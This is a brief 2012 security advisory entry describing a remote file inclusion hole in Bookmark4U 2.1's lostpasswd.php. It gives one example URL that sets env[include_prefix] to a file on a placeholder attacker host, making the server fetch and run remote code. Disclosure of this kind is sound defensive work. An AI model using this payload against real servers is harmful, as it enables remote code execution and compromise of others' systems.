Bookmark4U lostpasswd.php env[include_prefix] Parameter RFI

2012-07-09T00:00:00
ID SECURITYVULNS:DOC:28257
Type securityvulns
Reporter Securityvulns
Modified 2012-07-09T00:00:00

Description

vendor - http://bookmark4u.sourceforge.net/ version - 2.1 solution - product discontinued

example - http://[target]/bookmark4u/lostpasswd.php?env%5Binclude_prefix%5D=http://[attacker]/path/to/file.txt???